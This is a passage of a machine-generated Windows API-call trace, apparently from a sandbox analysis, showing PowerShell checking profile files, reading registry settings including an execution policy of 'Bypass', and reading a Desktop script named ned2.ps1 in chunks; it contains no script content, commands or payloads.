lpFileInformation=0x22daa0 | out: lpFileInformation=0x22daa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x22d890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x45 [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x22daa0 | out: lpFileInformation=0x22daa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x22d890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x5a [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x22daa0 | out: lpFileInformation=0x22daa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0056.587] SetErrorMode (uMode=0x1) returned 0x1 [0056.589] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.589] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.589] CoTaskMemFree (pv=0x168d60) [0056.591] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.591] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.591] CoTaskMemFree (pv=0x168d60) [0056.592] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.592] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.592] CoTaskMemFree (pv=0x168d60) [0056.594] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.594] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.594] CoTaskMemFree (pv=0x168d60) [0056.597] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.597] CoTaskMemFree (pv=0x168d60) [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x360 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x388 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x38c [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x390 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x394 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x39c [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0 [0056.599] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c0 [0056.600] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x384 [0056.600] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8 [0056.602] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.602] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.602] CoTaskMemFree (pv=0x168d60) [0056.603] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.603] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.603] CoTaskMemFree (pv=0x168d60) [0056.606] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0056.606] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x22dc80 | out: lpMode=0x22dc80) returned 1 [0056.610] SetEvent (hEvent=0x38c) returned 1 [0056.610] SetEvent (hEvent=0x3bc) returned 1 [0056.610] SetEvent (hEvent=0x360) returned 1 [0056.610] SetEvent (hEvent=0x388) returned 1 [0056.610] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ac [0056.612] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.612] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.612] CoTaskMemFree (pv=0x168d60) [0056.612] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d9d8 | out: phkResult=0x22d9d8*=0x30c) returned 0x0 [0056.612] RegQueryValueExW (in: hKey=0x30c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x22d95c, lpData=0x0, lpcbData=0x22d958*=0x0 | out: lpType=0x22d95c*=0x0, lpData=0x0, lpcbData=0x22d958*=0x0) returned 0x2 Thread: id = 2 os_tid = 0xbcc Thread: id = 3 os_tid = 0x570 Thread: id = 4 os_tid = 0x4e4 Thread: id = 5 os_tid = 0x670 Thread: id = 6 os_tid = 0x32c [0050.067] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.555] CloseHandle (hObject=0x328) returned 1 [0054.555] CloseHandle (hObject=0x13) returned 1 [0054.556] CloseHandle (hObject=0xf) returned 1 [0054.556] RegCloseKey (hKey=0x314) returned 0x0 [0054.556] RegCloseKey (hKey=0x310) returned 0x0 [0054.557] RegCloseKey (hKey=0x30c) returned 0x0 [0054.557] LocalFree (hMem=0xe6e90) returned 0x0 [0054.557] RegCloseKey (hKey=0x338) returned 0x0 [0054.557] LocalFree (hMem=0xe6ec0) returned 0x0 [0055.735] RegCloseKey (hKey=0x3b8) returned 0x0 [0055.735] RegCloseKey (hKey=0x380) returned 0x0 [0055.735] RegCloseKey (hKey=0x37c) returned 0x0 [0055.736] RegCloseKey (hKey=0x378) returned 0x0 [0055.736] RegCloseKey (hKey=0x374) returned 0x0 [0055.736] RegCloseKey (hKey=0x370) returned 0x0 [0055.737] RegCloseKey (hKey=0x36c) returned 0x0 [0055.737] RegCloseKey (hKey=0x368) returned 0x0 [0055.737] RegCloseKey (hKey=0x364) returned 0x0 [0055.738] RegCloseKey (hKey=0x3b4) returned 0x0 [0055.738] RegCloseKey (hKey=0x354) returned 0x0 [0055.738] RegCloseKey (hKey=0x350) returned 0x0 [0055.739] RegCloseKey (hKey=0x34c) returned 0x0 [0055.739] RegCloseKey (hKey=0x348) returned 0x0 [0055.739] RegCloseKey (hKey=0x344) returned 0x0 [0055.740] RegCloseKey (hKey=0x340) returned 0x0 [0055.740] RegCloseKey (hKey=0x33c) returned 0x0 [0055.741] RegCloseKey (hKey=0x328) returned 0x0 [0055.741] RegCloseKey (hKey=0x3b0) returned 0x0 [0055.741] RegCloseKey (hKey=0x310) returned 0x0 [0055.742] RegCloseKey (hKey=0x30c) returned 0x0 [0055.742] RegCloseKey (hKey=0x3ac) returned 0x0 [0055.742] RegCloseKey (hKey=0x3a8) returned 0x0 [0055.743] RegCloseKey (hKey=0x384) returned 0x0 [0055.743] RegCloseKey (hKey=0x3c0) returned 0x0 [0055.743] RegCloseKey (hKey=0x3a0) returned 0x0 [0055.744] RegCloseKey (hKey=0x39c) returned 0x0 [0055.744] RegCloseKey (hKey=0x398) returned 0x0 [0055.744] RegCloseKey (hKey=0x394) returned 0x0 [0055.745] RegCloseKey (hKey=0x390) returned 0x0 [0055.745] RegCloseKey (hKey=0x38c) returned 0x0 [0055.745] RegCloseKey (hKey=0x388) returned 0x0 [0055.746] RegCloseKey (hKey=0x360) returned 0x0 [0055.746] RegCloseKey (hKey=0x3bc) returned 0x0 [0055.746] RegCloseKey (hKey=0x338) returned 0x0 [0056.680] RegCloseKey (hKey=0x30c) returned 0x0 [0063.355] CloseHandle (hObject=0x350) returned 1 [0063.356] CloseHandle (hObject=0x348) returned 1 [0063.357] CloseHandle (hObject=0x344) returned 1 [0065.785] CloseHandle (hObject=0x350) returned 1 [0065.786] CloseHandle (hObject=0x344) returned 1 [0065.786] CloseHandle (hObject=0x34c) returned 1 [0080.903] CoGetContextToken (in: pToken=0x290f510 | out: pToken=0x290f510) returned 0x0 [0080.903] CoGetContextToken (in: pToken=0x290f430 | out: pToken=0x290f430) returned 0x0 [0080.903] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x0 [0080.903] CoGetContextToken (in: pToken=0x290f430 | out: pToken=0x290f430) returned 0x0 [0080.904] IUnknown:Release (This=0x1ca54830) returned 0x1 [0080.905] CoGetContextToken (in: pToken=0x290f340 | out: pToken=0x290f340) returned 0x0 [0080.905] WbemLocator:IUnknown:Release (This=0x19e840) returned 0x1 [0080.905] IUnknown:Release (This=0x1ca545f8) returned 0x0 [0081.061] IUnknown:Release (This=0x1ca54830) returned 0x0 [0081.061] CoGetContextToken (in: pToken=0x290f510 | out: pToken=0x290f510) returned 0x0 [0081.061] CoGetContextToken (in: pToken=0x290f430 | out: pToken=0x290f430) returned 0x0 [0081.062] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x1 [0081.062] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x0 Thread: id = 7 os_tid = 0x5dc [0056.617] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0056.622] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0056.627] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.627] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.627] CoTaskMemFree (pv=0x168d60) [0056.631] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.631] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.631] CoTaskMemFree (pv=0x168d60) [0056.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.641] SetErrorMode (uMode=0x1) returned 0x1 [0056.641] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), fInfoLevelId=0x0, lpFileInformation=0x1c7fe430 | out: lpFileInformation=0x1c7fe430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d)) returned 1 [0056.641] SetErrorMode (uMode=0x1) returned 0x1 [0056.642] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.642] SetErrorMode (uMode=0x1) returned 0x1 [0056.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), fInfoLevelId=0x0, lpFileInformation=0x1c7fe9d0 | out: lpFileInformation=0x1c7fe9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d)) returned 1 [0056.642] SetErrorMode (uMode=0x1) returned 0x1 [0056.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.643] SetErrorMode (uMode=0x1) returned 0x1 [0056.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), fInfoLevelId=0x0, lpFileInformation=0x1c7fe950 | out: lpFileInformation=0x1c7fe950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d)) returned 1 [0056.643] SetErrorMode (uMode=0x1) returned 0x1 [0056.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.644] SetErrorMode (uMode=0x1) returned 0x1 [0056.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), fInfoLevelId=0x0, lpFileInformation=0x1c7fea70 | out: lpFileInformation=0x1c7fea70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d)) returned 1 [0056.644] SetErrorMode (uMode=0x1) returned 0x1 [0056.644] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.645] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.645] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.646] CoTaskMemFree (pv=0x168d60) [0056.647] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7feac8 | out: phkResult=0x1c7feac8*=0x0) returned 0x2 [0056.647] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7feac8 | out: phkResult=0x1c7feac8*=0x0) returned 0x2 [0056.647] CoTaskMemAlloc (cb=0x104) returned 0x168d60 [0056.647] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x168d60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0056.647] CoTaskMemFree (pv=0x168d60) [0056.648] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7feac8 | out: phkResult=0x1c7feac8*=0x0) returned 0x2 [0056.648] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c7feac8 | out: phkResult=0x1c7feac8*=0x344) returned 0x0 [0056.648] RegQueryValueExW (in: hKey=0x344, lpValueName="ExecutionPolicy", lpReserved=0x0, lpType=0x1c7fea4c, lpData=0x0, lpcbData=0x1c7fea48*=0x0 | out: lpType=0x1c7fea4c*=0x1, lpData=0x0, lpcbData=0x1c7fea48*=0xe) returned 0x0 [0056.648] CoTaskMemAlloc (cb=0x12) returned 0x1b796690 [0056.648] RegQueryValueExW (in: hKey=0x344, lpValueName="ExecutionPolicy", lpReserved=0x0, lpType=0x1c7fea1c, lpData=0x1b796690, lpcbData=0x1c7fea18*=0xe | out: lpType=0x1c7fea1c*=0x1, lpData="Bypass", lpcbData=0x1c7fea18*=0xe) returned 0x0 [0056.648] CoTaskMemFree (pv=0x1b796690) [0056.648] RegCloseKey (hKey=0x344) returned 0x0 [0056.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x1c7fe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0056.651] SetErrorMode (uMode=0x1) returned 0x1 [0056.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0056.651] GetFileType (hFile=0x344) returned 0x1 [0056.651] SetErrorMode (uMode=0x1) returned 0x1 [0056.651] GetFileType (hFile=0x344) returned 0x1 [0056.651] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.651] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.651] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.652] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.654] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.654] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.654] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.654] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.655] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.655] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.655] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.655] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.657] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.657] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.658] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.658] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.658] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.659] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.659] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.659] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.659] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.660] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.660] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.660] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.660] ReadFile 